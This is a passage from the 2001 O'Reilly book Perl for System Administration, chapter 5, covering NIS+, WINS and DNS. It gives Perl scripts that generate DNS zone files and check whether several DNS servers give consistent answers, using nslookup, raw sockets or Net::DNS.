Sun included the next version of NIS, called NIS+, with the Solaris operating system. NIS+ addresses many of the most serious problems of NIS, such as security. Unfortunately (or fortunately, since NIS+ can be a bit difficult to administer), NIS+ has not caught on in the Unix world nearly as well NIS did. Until recently, there was virtually no support for it on machines not manufactured by Sun. It is slowly making its way into standard Linux distributions thanks to the work of Thorsten Kukuk (see http://www.suse.de/~kukuk/nisplus/index.html), but it is far from prevalent in the Unix world and nonexistent in the NT and MacOS world.

Given its marginal status, we're not going to look any deeper into NIS+ in this book. If you need to work with NIS+ from Perl, Harris also has a Net::NISPlus module up to the task.

5.2.2. Windows Internet Name Server ( WINS)

When Microsoft began to run its proprietary networking protocol NetBIOS over TCP/IP (NetBT), it also found a need to handle the name-to-IP address mapping question. The first shot was the lmhosts file, modeled after the standard host file. This was quickly supplemented with an NIS-like mechanism. As of NT Version 3.5, Microsoft has offered a centralized scheme called Windows Internet Name Server (WINS). WINS differs in several ways from NIS:

  • WINS is specialized for the distribution of host-to-IP address mappings. It is not used like NIS to centralize distribution of other information (e.g., password, network, port mappings, and user groups).

  • WINS servers receive most of the information they distribute from preconfigured client registrations (they can be pre-loaded with information). WINS clients, once they receive an IP address either manually or via Dynamic Host Configuration Protocol (DHCP), are responsible for registering and re-registering their information. This is different from NIS, in that client machines ask the server for information that has been pre-loaded, and with only one exception (passwords), do not update the information on that server.

WINS, like NIS, offers the ability to have multiple servers available for reliability and load sharing through the use of a push-pull partner model. As of Windows 2000, WINS is deprecated (read "killed off") in favor of Dynamic Domain Name Service, an extension to the basic DNS system we're just about to discuss.

Given that WINS is not long for this earth, we're not going to explore Perl code to work with it. There is currently very little support for working directly with WINS from Perl. I know of no Perl modules designed specifically to interact with WINS. Your best bet may be to call some of the command-line utilities found in the Windows NT Server Resource Kit, such as WINSCHK and WINSCL.

Previous | Home | Next
5.1. Host Files | Book Index | 5.3. Domain Name Service (DNS)
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Domain Name Service (DNS) (Perl for System Administration)

 Perl for System AdministrationSearch this book

5.3. Domain Name Service (DNS)

As useful as they are, NIS and WINS still suffer from flaws that make them unsuitable for "entire-Internet" uses.

Scale

Even though these schemes allow for multiple servers, each server must have a complete copy of the entire network topology.[4] This topology must be duplicated to every other server, a time-consuming process if the universe becomes sufficiently large. WINS also suffers because of its dynamic registration model. A sufficient number of WINS clients could melt down any set of Internet-wide WINS servers with registration requests.

[4]NIS+ offers mechanisms for a client to search for information outside of the local domain, but they are not as flexible as those in DNS.

Administrative control

We've been talking about strictly technical issues up until now, but that's not the only side of administration. NIS, in particular, requires a single point of administration. Whomever controls the master server controls the entire NIS domain lead by that machine. Any changes to the network namespace must pass through that administrative gatekeeper. This doesn't work for a namespace the size of the Internet.

A new model called Domain Name Service (DNS) was invented to deal with the flaws inherent in maintaining host files or NIS/NIS+/WINS-like systems. Under DNS, the network namespace is partitioned into a set of somewhat arbitrary "top-level domains." Each top-level domain can then be subdivided into smaller domains, each of those partitioned, and so on. At each dividing point it is possible to designate a different party to retain authoritative control over that portion of the namespace. This handles our administrative control concern.

Network clients that reside in the individual parts of this hierarchy consult the name server closest to them in the hierarchy. If the information the client is looking for can be found on that local server, it is returned to the client. On most networks, the majority of name-to-IP address queries are for machines on that network, so the local servers handle most of the local traffic. This satisfies the scale problem. Multiple DNS servers (also known as secondary or slave servers) can be set up for redundancy and load-balancing purposes.

If a DNS server is asked about a part of the namespace that it does not control or know about, it can either instruct the client to look elsewhere (usually higher up in the tree) or fetch the required information on behalf of the client by contacting other DNS servers.

In this scheme, no single server needs to know the entire network topology, most queries are handled locally, local administrators retain local control, and everybody is happy. DNS offers such an advantage compared to other systems that most other systems like NIS and WINS offer a way to integrate DNS. For instance, SunOS NIS servers can be instructed to perform a DNS query if a client asks them for a host they do not know. The results of this query are returned as a standard NIS query reply so the client has no knowledge that any magic has been performed on its behalf. Microsoft DNS servers have similar functionality: if a client asks a Microsoft DNS server for the address of a local machine that it does not know about, the server can be configured to consult a WINS server on the client's behalf.

5.3.1. Generating DNS Configuration Files

Production of DNS configuration files follows the same procedure that we've been using to generate host and NIS source files, namely:

  • Store data in a separate database (the same database can and probably should be the source for all of the files we've been discussing).

  • Convert data to the output format of our choice, checking for errors as we go.

  • Use RCS (or an equivalent source control system) to store old revisions of files.

For DNS, we have to expand the second step because the conversion process is more complicated. As we launch into these complications, you may find it handy to have the DNS and BIND book by Paul Albitz and Cricket Liu (O'Reilly) on hand for information on the DNS configuration files we'll be creating.

5.3.1.1. Creating the administrative header

DNS configuration files begin with an administrative header that provides information about the server and the data it is serving. The most important part of this header is the Start of Authority (SOA) resource record. The SOA contains:

  • The name of the administrative domain served by this DNS server

  • The name of the primary DNS server for that domain

  • Contact info for the DNS administrator(s)

  • The serial number of the configuration file (more on this in a moment)

  • Refresh and retry values for secondary servers (i.e., when they synchronize with the primary server)

  • Time To Live (TTL) settings for the data being served (i.e., how long the information being provided can be safely cached)

Here's an example header:

@ IN SOA   dns.oog.org. hostmaster.oog.org. (
                          1998052900 ; serial
                            10800    ; refresh
                            3600     ; retry
                            604800   ; expire
                            43200)   ; TTL

@                           IN  NS  dns.oog.org.

Most of this information is just tacked on the front of a DNS configuration file verbatim each time it is generated. The one piece we need to worry about is the serial number. Once every X seconds (where X is determined by the refresh value from above), secondary name servers contact their primary servers looking for an update to their DNS data. Modern DNS secondary servers (like BIND v8+ or Microsoft DNS) can also be told by their master server to check for an update when the master data has changed. In both cases, the secondary servers query the primary server for its SOA record. If the SOA record contains a serial number higher than their current serial number, a zone transfer is initiated (that is, the secondary downloads a new data set). As a result, it is important to increment this number each time a new DNS configuration file is created. Many DNS problems are caused by failures to update the serial number.

There are at least two ways to make sure the serial number is always incremented:

  1. Read the previous configuration file and increment the value found there.

  2. Compute a new value based on an external number source "guaranteed" to increment over time (like the system clock or RCS version number of the file).

Here's some example code that uses a combination of these two methods to generate a valid header for a DNS zone file. It creates a serial number formatted as recommended in Albitz and Liu's book (YYYYMMDDXX where Y=year, M=month, D=day, and XX=a two-digit counter to allow for more than one change per day):

# get today's date in the form of YYYYMMDD
@localtime = localtime;
$today = sprintf("%04d%02d%02d",$localtime[5]+1900,
                                $localtime[4]+1,
                                $localtime[3]);

# get username on either NT/2000 or Unix
$user = ($^O eq "MSWin32")? $ENV{USERNAME} :
                            (getpwuid($<))[6]." (".(getpwuid($<))[0].")";

sub GenerateHeader{
    my($header);

    # open old file if possible and read in serial number
    # assumes the format of the old file
    if (open (OLDZONE,$target)){
        while (<OLDZONE>) {
            next unless (/(\d{8}).*serial/);
            $oldserial = $1;
            last;
        }
        close (OLDZONE);
    }
    else {
        $oldserial = "000000"; # otherwise, start with a 0 number
    }

    # if old serial number was for today, increment last 2 digits, else
    # start a new number for today
    $olddate = substr($oldserial,0,6);
    $count = (($olddate == $today) ? substr($oldserial,6,2)+1 : 0);

    $serial = sprintf("%6d%02d",$today,$count);

    # begin the header
    $header .= "; dns zone file - GENERATED BY $0\n";
    $header .= "; DO NOT EDIT BY HAND!\n;\n";
    $header .= "; Converted by $user on ".scalar((localtime))."\n;\n";

    # count the number of entries in each department and then report
    foreach my $entry (keys %entries){
        $depts{$entries{$entry}->{department}}++;
    }
    foreach my $dept (keys %depts) {
        $header .= "; number of hosts in the $dept department:
                    $depts{$dept}.\n";
    }
    $header .= "; total number of hosts: ".scalar(keys %entries)."\n;\n\n";

    $header .= <<"EOH";

@ IN SOA   dns.oog.org. hostmaster.oog.org. (
                           $serial ; serial
                            10800    ; refresh
                            3600     ; retry
                            604800   ; expire
                            43200)   ; TTL

@                           IN  NS  dns.oog.org.

EOH

   return $header;
}

Our code attempts to read in the previous DNS configuration file to determine the last serial number in use. This number then gets split into date and counter fields. If the date we've read is the same as the current date, we need to increment the counter. If not, we create a serial number based on the current date with a counter value of 00. Once we have our serial number, the rest of the code concerns itself with writing out a pretty header in the proper form.

5.3.1.2. Generating multiple configuration files

Now that we've covered the process of writing a correct header for our DNS configuration files, there is one more complication we need to address. A well-configured DNS server has both forward (name-to-IP address) and reverse (IP address-to-name) mapping information available for every domain, or zone, it controls. This requires two configuration files per zone. The best way to keep these synchronized is to create them both at the same time.

This is the last file generation script we'll see in this chapter, so let's put everything we've done so far together. Our script will take a simple database file and generate the necessary DNS zone configuration files.

To keep this script simple, I've made a few assumptions about the data, the most important of which has to do with the topology of the network and namespace. This script assumes that the network consists of a single class C subnet with a single DNS zone. As a result, we only create a single forward mapping file and its reverse map sibling file. Adding code to handle multiple subnets and zones (i.e., creating separate files for each) would be an easy addition.

Here's a quick walk-through:

  1. Read in the database file into a hash of hashes, checking the data as we go.

  2. Generate a header.

  3. Write out the forward mapping (name-to-IP address) file and check it into RCS.

  4. Write out the reverse mapping (IP address-to-name) file and check it into RCS.

Here is the code and its output:

use Rcs;

$datafile   = "./database"; # our host database
$outputfile = "zone.$$";    # our temporary output file
$target     = "zone.db";    # our target output
$revtarget  = "rev.db";     # out target output for the reverse mapping
$defzone    = ".oog.org";   # the default zone being created
$recordsep  = "-=-\n";

# get today's date in the form of YYYYMMDD
@localtime = localtime;
$today = sprintf("%04d%02d%02d",$localtime[5]+1900,
                                $localtime[4]+1,
                                $localtime[3]);

# get username on either NT/2000 or Unix
$user = ($^O eq "MSWin32")? $ENV{USERNAME} :
                            (getpwuid($<))[6]." (".(getpwuid($<))[0].")";

# read in the database file
open(DATA,$datafile) or die "Unable to open datafile:$!\n";

while (<DATA>) {
    chomp; # remove record separator
    # split into key1,value1
    @record = split /:\s*|\n/m;

    $record ={};                     # create a reference to empty hash
    %{$record} = @record;            # populate that hash with @record

    # check for bad hostname
    if ($record->{name} =~ /[^-.a-zA-Z0-9]/) {
        warn "!!!! ",$record->{name} .
         " has illegal host name characters, skipping...\n";
        next;
    }

    # check for bad aliases
    if ($record->{aliases} =~ /[^-.a-zA-Z0-9\s]/) {
        warn "!!!! " . $record->{name} .
             " has illegal alias name characters, skipping...\n";
        next;
    }

    # check for missing address
    unless ($record->{address}) {
        warn "!!!! " . $record->{name} .
             " does not have an IP address, skipping...\n";
        next;
    }

    # check for duplicate address
    if (defined $addrs{$record->{address}}) {
        warn "!!!! Duplicate IP addr:" . $record->{name}.
             " & " . $addrs{$record->{address}} . ", skipping...\n";
        next;
    }
    else {
           $addrs{$record->{address}} = $record->{name};
    }

    $entries{$record->{name}} = $record; # add this to a hash of hashes

}
close(DATA);

$header = &GenerateHeader;

# create the forward mapping file
open(OUTPUT,"> $outputfile") or
  die "Unable to write to $outputfile:$!\n";
print OUTPUT $header;

foreach my $entry (sort byaddress keys %entries) {
    print OUTPUT
          "; Owned by ",$entries{$_}->{owner}," (",
          $entries{$entry}->{department},"): ",
          $entries{$entry}->{building},"/",
          $entries{$entry}->{room},"\n";

    # print A record
    printf OUTPUT "%-20s\tIN A     %s\n",
      $entries{$entry}->{name},$entries{$entry}->{address};

    # print any CNAMES (aliases)
    if (defined $entries{$entry}->{aliases}){
         foreach my $alias (split(' ',$entries{$entry}->{aliases})) {
           printf OUTPUT "%-20s\tIN CNAME %s\n",$alias,
                                                $entries{$entry}->{name};
        }
    }
    print OUTPUT "\n";
}

close(OUTPUT);

Rcs->bindir('/usr/local/bin');
my $rcsobj = Rcs->new;
$rcsobj->file($target);
$rcsobj->co('-l');
rename($outputfile,$target) or
  die "Unable to rename $outputfile to $target:$!\n";
$rcsobj->ci("-u","-m"."Converted by $user on ".scalar(localtime));

# now create the reverse mapping file
open(OUTPUT,"> $outputfile") or
  die "Unable to write to $outputfile:$!\n";
print OUTPUT $header;
foreach my $entry (sort byaddress keys %entries) {
    print OUTPUT
          "; Owned by ",$entries{$entry}->{owner}," (",
          $entries{$entry}->{department},"): ",
          $entries{$entry}->{building},"/",
          $entries{$entry}->{room},"\n";

    printf OUTPUT "%-3d\tIN PTR    %s$defzone.\n\n",
      (split/\./,$entries{$entry}->{address})[3],
      $entries{$entry}->{name};

}

close(OUTPUT);
$rcsobj->file($revtarget);
$rcsobj->co('-l'); # assumes target has been checked out at least once
rename($outputfile,$revtarget) or
  die "Unable to rename $outputfile to $revtarget:$!\n";
$rcsobj->ci("-u","-m"."Converted by $user on ".scalar(localtime));

sub GenerateHeader{
    my($header);
    if (open(OLDZONE,$target)){
           while (<OLDZONE>) {
            next unless (/(\d{8}).*serial/);
            $oldserial = $1;
            last;
        }
        close(OLDZONE);
    }
    else {
        $oldserial = "000000";
    }

    $olddate = substr($oldserial,0,6);
    $count = ($olddate == $today) ? substr($oldserial,6,2)+1 : 0;

    $serial = sprintf("%6d%02d",$today,$count);

    $header .= "; dns zone file - GENERATED BY $0\n";
    $header .= "; DO NOT EDIT BY HAND!\n;\n";
    $header .= "; Converted by $user on ".scalar(localtime)."\n;\n";

    # count the number of entries in each department and then report
    foreach $entry (keys %entries){
        $depts{$entries{$entry}->{department}}++;
    }
    foreach $dept (keys %depts) {
        $header .= "; number of hosts in the $dept department:
                    $depts{$dept}.\n";
    }
    $header .= "; total number of hosts: ".scalar(keys %entries)."\n#\n\n";

    $header .= <<"EOH";

@ IN SOA   dns.oog.org. hostmaster.oog.org. (
                          $serial     ; serial
                            10800     ; refresh
                            3600      ; retry
                            604800    ; expire
                            43200)    ; TTL

@                           IN  NS  dns.oog.org.

EOH

   return $header;
}

sub byaddress {
   @a = split(/\./,$entries{$a}->{address});
   @b = split(/\./,$entries{$b}->{address});
   ($a[0]<=>$b[0]) ||
   ($a[1]<=>$b[1]) ||
   ($a[2]<=>$b[2]) ||
   ($a[3]<=>$b[3]);
}

Here's the forward mapping file (zone.db) that gets created:

; dns zone file - GENERATED BY createdns
; DO NOT EDIT BY HAND!
;
; Converted by David N. Blank-Edelman (dnb); on Fri May 29 15:46:46 1998
;
; number of hosts in the design department: 1.
; number of hosts in the software department: 1.
; number of hosts in the IT department: 2.
; total number of hosts: 4
;

@ IN SOA   dns.oog.org. hostmaster.oog.org. (
                          1998052900 ; serial
                            10800    ; refresh
                            3600     ; retry
                            604800   ; expire
                            43200)   ; TTL

@                           IN  NS  dns.oog.org.

; Owned by Cindy Coltrane (marketing): west/143
bendir              				IN A     192.168.1.3
ben                 				IN CNAME bendir
bendoodles          				IN CNAME bendir

; Owned by David Davis (software): main/909
shimmer             				IN A     192.168.1.11
shim                				IN CNAME shimmer
shimmy              				IN CNAME shimmer
shimmydoodles       				IN CNAME shimmer

; Owned by Ellen Monk (design): main/1116
sulawesi            				IN A     192.168.1.12
sula                				IN CNAME sulawesi
su-lee              				IN CNAME sulawesi

; Owned by Alex Rollins (IT): main/1101
sander              				IN A     192.168.1.55
sandy               				IN CNAME sander
micky               				IN CNAME sander
mickydoo            				IN CNAME sander

And here's the reverse mapping file (rev.db):

; dns zone file - GENERATED BY createdns
; DO NOT EDIT BY HAND!
;
; Converted by David N. Blank-Edelman (dnb); on Fri May 29 15:46:46 1998
;
; number of hosts in the design department: 1.
; number of hosts in the software department: 1.
; number of hosts in the IT department: 2.
; total number of hosts: 4
;

@ IN SOA   dns.oog.org. hostmaster.oog.org. (
                          1998052900 ; serial
                            10800    ; refresh
                            3600     ; retry
                            604800   ; expire
                            43200)   ; TTL

@                           IN  NS  dns.oog.org.

; Owned by Cindy Coltrane (marketing): west/143
3  	IN PTR    bendir.oog.org.

; Owned by David Davis (software): main/909
11 	IN PTR    shimmer.oog.org.

; Owned by Ellen Monk (design): main/1116
12 	IN PTR    sulawesi.oog.org.

; Owned by Alex Rollins (IT): main/1101
55 	IN PTR    sander.oog.org.

This method of creating files opens up many more possibilities. Up to now, we've generated files using content from a single text file database. We read a record from the database and we write it out to our file, perhaps with a dash of nice formatting. Only data that appeared in the database found its way into the files we created.

Sometimes it is useful to have content added in the conversion process by the script itself. For instance, in the case of DNS configuration files generation, you may wish to embellish the conversion script so it inserts MX (Mail eXchange) records pointing to a central mail server for every host in your database. A trivial code change from:

# print A record
    printf OUTPUT "%-20s\tIN A     %s\n",
      $entries{$entry}->{name},$entries{$entry}->{address};

to:

# print A record
printf OUTPUT "%-20s\tIN A     %s\n",
      $entries{$entry}->{name},$entries{$entry}->{address};

# print MX record
print OUTPUT "                   IN MX 10 $mailserver\n";

will configure DNS so that mail destined for any host in the domain is received by the machine $mailserver instead. If that machine is configured to handle mail for its domain, we've activated a really useful infrastructure component (i.e., centralized mail handling) with just a single line of Perl code.

5.3.2. DNS Checking: An Iterative Approach

We've spent considerable time in this chapter on the creation of the configuration information to be served by network name services, but that's only one side of the coin for system and network administrators. Keeping a network healthy also entails checking these services once they're up and running to make sure they are behaving in a correct and consistent manner.

For instance, for a system/network administrator, a great deal rides on the question "Are all of my DNS servers up?" In a troubleshooting situation, it's equally valuable to know "Are they all serving the same information?", or, more specifically, "Are the servers responding to the same queries with the same responses? Are they in sync as intended?" We'll put these questions to good use in this section.

In Chapter 2, "Filesystems" we saw an example of the Perl motto "There's More Than One Way To Do It." Perl's TMTOWTDI-ness makes the language an excellent prototype language in which to do "iterative development." Iterative development is one way of describing the evolutionary process that takes place when writing system administration (and other) programs to handle a particular task. With Perl it's all too possible to bang out a quick-and-dirty hack that gets a job done. Later on, you may return to this script and re-write it so it is more elegant. There's even likely to be yet a third iteration of the same code, this time taking a different approach to solving the problem.

Here are three different approaches to the same problem of DNS consistency checking. These approaches will be presented in the order someone might realistically follow while trying to solve the problem and refine the solution. This ordering reflects one view on how a solution to a problem can evolve in Perl; your take on this may differ. The third approach, using the Net::DNS module, is probably the easiest and most error-proof of the bunch. But Net::DNS may not address every situation, so we're going to walk through some "roll your own" approaches first. Be sure to note the pros and cons listed after each solution has been presented.

Here's the task: write a Perl script that takes a hostname and checks a list of DNS servers to see if they all return the same information when queried about this host. To make this task simpler, we're going to assume that the host has a single, static IP address (i.e., does not have multiple interfaces or addresses associated with it).

Before we look at each approach in turn, let me show you the "driver" code we're going to use:

$hostname = $ARGV[0];
@servers = qw(nameserver1 nameserver2 nameserver3); # name servers

foreach $server (@servers) {
    &lookupaddress($hostname,$server);          # populates %results
}
%inv = reverse %results;                        # invert the result hash
if (keys %inv > 1) {
    print "There is a discrepancy between DNS servers:\n";
    use Data::Dumper;
    print Data::Dumper->Dump([\%results],["results"]),"\n";
}

For each of the DNS servers listed in the @servers list, we call the &lookupaddress( ) subroutine. &lookupaddress( ) queries a specific DNS server for the IP address of a given hostname and places the results into a hash called %results. Each DNS server has a key in %results with the IP address returned by that server as its value.

There are many ways to determine if all of the values in %results are the same (i.e., all DNS servers returned the same thing in response to our query). Here we choose to invert %results into another hash table, making all of the keys into values, and vice versa. If all values in %results are the same, there should be exactly one key in the inverted hash. If not, we know we've got a situation on our hands, so we call Data::Dumper->Dump( ) to nicely display the contents of %results for the system administrator to puzzle over.

Here's a sample of what the output looks like when something goes wrong:

There is a discrepancy between DNS servers:
$results = {
             nameserver1 => '192.168.1.2',
             nameserver2 => '192.168.1.5',
             nameserver3 => '192.168.1.2',
           };

Let's take a look at the contestants for the &lookupaddress( ) subroutines.

5.3.2.1. Using nslookup

If your background is in Unix, or you've done some programming in other scripting languages besides Perl, your first attempt might look a great deal like a shell script. An external program called from the Perl script does the hard work in the following code:

use Data::Dumper;

$hostname = $ARGV[0];
$nslookup = "/usr/local/bin/nslookup";              # nslookup binary
@servers = qw(nameserver1 nameserver2 nameserver3); # name of the name servers
foreach $server (@servers) {
    &lookupaddress($hostname,$server);              # populates %results
}
%inv = reverse %results;                            # invert the result hash
if (scalar(keys %inv) > 1) {
    print "There is a discrepancy between DNS servers:\n";
    print Data::Dumper->Dump([\%results],["results"]),"\n";
}

# ask the server to look up the IP address for the host
# passed into this program on the command line, add info to
# the %results hash
sub lookupaddress {
    my($hostname,$server) = @_;

    open(NSLOOK,"$nslookup $hostname $server|") or
      die "Unable to start nslookup:$!\n";

    while (<NSLOOK>) {
        # ignore until we hit "Name: "
         next until (/^Name:/);
        # next line is Address: response
         chomp($results{$server} = <NSLOOK>);
        # remove the field name
        die "nslookup output error\n" unless /Address/;
        $results{$server} =~ s/Address(es)?:\s+//;
        # we're done with this nslookup
        last;
    }
    close(NSLOOK);
}

The benefits of this approach are:

  • It's a short, quick program to write (perhaps even translated line by line from a real shell script).

  • We did not have to write any messy network code.

  • It takes the Unix approach of using a general purpose language to glue together other smaller, specialized programs to get a job done, rather than creating a single monolithic program.

  • It may be the only approach for times when you can't code the client-server communication in Perl; for instance, you have to talk with a server that requires a special client and there's no alternative.

The drawbacks of this approach are:

  • It's dependent on another program outside the script. What if this program is not available? What if this program's output format changes?

  • It's slower. It has to start up another process each time it wants to make a query. We could have reduced this overhead by opening a two-way pipe to an nslookup process that stays running while we need it. This would take a little more coding skill, but would be the right thing to do if we were going to continue down this path and further enhance this code.

  • You have less control. We are at the external program's mercy for implementation details. For instance, here nslookup (more specifically the resolver library nslookup is using) is handling server timeouts, query retries, and appending a domain search list for us.

5.3.2.2. Working with raw network sockets

If you are a "power sysadmin," you may decide calling another program is not acceptable. You might want to implement the DNS queries using nothing but Perl. This entails constructing network packets by hand, shipping them out on the wire, and then parsing the results returned from the server.

This is probably the most complicated code you'll find in this entire book, written by looking at the reference sources described below along with several examples of existing networking code (including the module by Michael Fuhr we'll see in the next section). Here is a rough overview of what is going on. Querying a DNS server consists of constructing a specific network packet header and packet contents, sending it to a DNS server, and then receiving and parsing the response from that server.[5]

[5]For the nitty-gritty details, I highly recommend you open RFC1035 to the section entitled "Messages" and read along.

Each and every DNS packet (of the sort we are interested in) can have up to five distinct sections:

Header

Contains flags and counters pertaining to the query or answer (always present).

Question

Contains the question being asked of the server (present for a query and echoed in a response).

Answer

Contains all the data for the answer to a DNS query (present in a DNS response packet).

Authority

Contains information on where an authoritative response may be retrieved.

Additional

Contains any information the server wishes to return in addition to the direct answer to a query.

Our program will concern itself strictly with the first three of these. We'll be using a set of pack( ) commands to create the necessary data structure for a DNS packet header and packet contents. We pass this data structure to the IO::Socket module that handles sending this data out as a packet. The same module will also listen for a response on our behalf and return data for us to parse (using unpack( )). Conceptually, this process is not very difficult.

There's one twist to this process that should be noted before we look at the code. RFC1035 (Section 4.1.4) defines two ways of representing domain names in DNS packets: uncompressed and compressed. The uncompressed representation places the full domain name (for example, host.oog.org) in the packet, and is nothing special. But, if the same domain name is found more than once in a packet, it is likely a compressed representation will be used for everything but the first mention. A compressed representation replaces the domain information or part of it with a two-byte pointer back to the first uncompressed representation. This allows a packet to mention host1, host2, and host3 in longsubdomain.longsubdomain.oog.org, without having to include the bytes for longsubdomain.longsubdomain.oog.org each time. We have to handle both representations in our code, hence the &decompress routine below. Without further fanfare, here's the code:

use IO::Socket;
$hostname = $ARGV[0];
$defdomain = ".oog.org"; # default domain if not present

@servers = qw(nameserver1 nameserver2 nameserver3); # name of the name servers
foreach $server (@servers) {
    &lookupaddress($hostname,$server);              # populates %results
}
%inv = reverse %results;        # invert the result hash
if (scalar(keys %inv) > 1) {    # see how many elements it has
    print "There is a discrepancy between DNS servers:\n";
    use Data::Dumper;
    print Data::Dumper->Dump([\%results],["results"]),"\n";
}

sub lookupaddress{
    my($hostname,$server) = @_;

    my($qname,$rname,$header,$question,$lformat,@labels,$count);
    local($position,$buf);

    ###
    ### Construct the packet header
    ###
    $header = pack("n C2 n4",
           ++$id,  # query id
           1,  # qr, opcode, aa, tc, rd fields (only rd set)
           0,  # rd, ra
           1,  # one question (qdcount)
           0,  # no answers (ancount)
           0,  # no ns records in authority section (nscount)
           0); # no addtl rr's (arcount)

    # if we do not have any separators in the name of the host,
    # append the default domain
    if (index($hostname,'.') == -1) {
        $hostname .= $defdomain;
    }

    # construct the qname section of a packet (domain name in question)
    for (split(/\./,$hostname)) {
        $lformat .= "C a* ";
        $labels[$count++]=length;
        $labels[$count++]=$_;
    }

    ###
    ### construct the packet question section
    ###
    $question = pack($lformat."C n2",
             @labels,
                 0,  # end of labels
                 1,  # qtype of A
                 1); # qclass of IN

    ###
    ### send the packet to the server and read the response
    ###
    $sock = new IO::Socket::INET(PeerAddr => $server,
                                 PeerPort => "domain",
                                 Proto    => "udp");

    $sock->send($header.$question);
    # we're using UDP, so we know the max packet size
    $sock->recv($buf,512);
    close($sock);

    # get the size of the response, since we're going to have to keep
    # track of where we are in the packet as we parse it (via $position)
    $respsize = length($buf);

    ###
    ### unpack the header section
    ###
    ($id,
     $qr_opcode_aa_tc_rd,
     $rd_ra,
     $qdcount,
     $ancount,
     $nscount,
     $arcount) = unpack("n C2 n4",$buf);

    if (!$ancount) {
        warn "Unable to lookup data for $hostname from $server!\n";
        return;
    }

    ###
    ### unpack the question section
    ###
    # question section starts 12 bytes in
    ($position,$qname) = &decompress(12);
    ($qtype,$qclass)=unpack('@'.$position.'n2',$buf);
    # move us forward in the packet to end of question section
    $position += 4;

    ###
    ### unpack all of the resource record sections
    ###
    for ( ;$ancount;$ancount--){
        ($position,$rname) = &decompress($position);
        ($rtype,$rclass,$rttl,$rdlength)=
             unpack('@'.$position.'n2 N n',$buf);
        $position +=10;
        # this next line could be changed to use a more sophisticated
        # data structure, it currently picks the last rr returned
        $results{$server}=
           join('.',unpack('@'.$position.'C'.$rdlength,$buf));
        $position +=$rdlength;
    }
}

# handle domain information that is "compressed" as per RFC1035
# we take in the starting position of our packet parse and return
# the name we found (after dealing with the compressed format pointer)
# and the place we left off in the packet at the end of the name we found
sub decompress {
    my($start) = $_[0];
    my($domain,$i,$lenoct);

    for ($i=$start;$i<=$respsize;) {
        $lenoct=unpack('@'.$i.'C', $buf); # get the length of label

        if (!$lenoct){        # 0 signals we are done with this section
            $i++;
            last;
        }

        if ($lenoct == 192) { # we've been handed a pointer, so recurse
            $domain.=(&decompress((unpack('@'.$i.'n',$buf) & 1023)))[1];
            $i+=2;
            last
        }
        else {                # otherwise, we have a plain label
            $domain.=unpack('@'.++$i.'a'.$lenoct,$buf).'.';
            $i += $lenoct;
        }
    }
    return($i,$domain);
}

Note that this code is not precisely equivalent to that from the previous example because we're not trying to emulate all of the nuances of nslookup's behavior (timeouts, retries, searchlists, etc.). When looking at the three approaches here, be sure to keep a critical eye out for these subtle differences.

The benefits of this approach are:

  • It isn't dependent on any other programs. You don't need to know the particulars of another programmer's work.

  • It may be as fast or faster than calling an external program.

  • It is easier to tweak the parameters of the situation (timeouts, etc.).

The drawbacks of this approach are:

  • It's likely to take longer to write and is more complex than the previous approach.

  • It requires more knowledge external to the direct problem at hand (i.e., you may have to learn how to put DNS packets together by hand, something we did not need to know when we called nslookup).

  • You may have to handle OS-specific issues yourself (hidden in the previous approach by the work already done by the external program's author).

5.3.2.3. Using Net::DNS

As mentioned in Chapter 1, "Introduction", one of Perl's real strengths is the support of a large community of developers who churn out code for others to reuse. If there's something you need to do in Perl that seems universal, chances are good that someone else has already written a module to handle it. In our case, we can make use of Michael Fuhr's excellent Net::DNS module to make our job simpler. For our task, we simply have to create a new DNS resolver object, configure it with the name of the DNS server we wish to use, ask it to send a query, and then use the supplied methods to parse the response:

use Net::DNS;

@servers = qw(nameserver1 nameserver2 nameserver3); # name of the name servers
foreach $server (@servers) {
    &lookupaddress($hostname,$server);              # populates %results
}
%inv = reverse %results;        # invert the result hash
if (scalar(keys %inv) > 1) {   # see how many elements it has
    print "There is a discrepency between DNS servers:\n";
    use Data::Dumper;
    print Data::Dumper->Dump([\%results],["results"]),"\n";
}

# only slightly modified from example in the Net::DNS manpage
sub lookupaddress{
    my($hostname,$server) = @_;

    $res = new Net::DNS::Resolver;

    $res->nameservers($server);

    $packet = $res->query($hostname);

    if (!$packet) {
        warn "Unable to lookup data for $hostname from $server!\n";
        return;
    }
    # stores the last RR we receive
    foreach $rr ($packet->answer) {
        $results{$server}=$rr->address;
    }
}

The benefits of this approach are:

  • The code is legible again.

  • It is often faster to write.

  • Depending on how the module you use is implemented (is it pure Perl or is it glue to a set of C or C++ library calls?) the code you write using this module may be just as fast as calling an external compiled program.

  • It is potentially portable, depending on how much work the author of the module has done for you. Any place this module can be installed, your program can run.

  • As in the first approach we looked at, writing code can be quick and easy if someone else has done the behind-the-scenes work for you. You don't have to know how the module works; you just need to know how to use it.

  • Code re-use. You are not reinventing the wheel each time.

The drawbacks of this approach are:

  • You are back in the dependency game. This time you need to make sure this module is available for your program to run. You need to trust that the module writer has done a decent job.

  • There may not be a module to do what you need, or it may not run on the operating system of choice.

More often than not, a pre-written module is my preferred approach. However, any of these approaches will get the job done. TMTOWTDI, so go forth and do it!

Previous | Home | Next
5.2. NIS, NIS+, and WINS | Book Index | 5.4. Module Information for This Chapter
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Module Information for This Chapter (Perl for System Administration)

 Perl for System AdministrationSearch this book

5.4. Module Information for This Chapter

Module | CPAN ID | Version
Rcs | CFRETER | 0.09
Net::NIS | RIK | a2
Data::Dumper (ships with Perl) | GSAR | 2.101
IO::Socket (ships with Perl) | GBARR | 1.20
Net::DNS | MFUHR | 0.12
Previous | Home | Next
5.3. Domain Name Service (DNS) | Book Index | 5.5. References for More Information
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


References for More Information (Perl for System Administration)

 Perl for System AdministrationSearch this book

5.5. References for More Information

DNS and BIND, 3rd Edition, by Paul Albitz and Cricket Liu (O'Reilly, 1998).

RFC849: Suggestions For Improved Host Table Distribution, Mark Crispin, 1983.

RFC881: The Domain Names Plan and Schedule, J. Postel, 1983.

RFC882: Domain Names: Concepts And Facilities, P. Mockapetris, 1983.

RFC1035: Domain Names: Implementation And Specification, P. Mockapetris, 1987.

Previous | Home | Next
5.4. Module Information for This Chapter | Book Index | 6. Directory Services
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Directory Services (Perl for System Administration)

 Perl for System AdministrationSearch this book

Chapter 6. Directory Services

Contents:

What's a Directory?
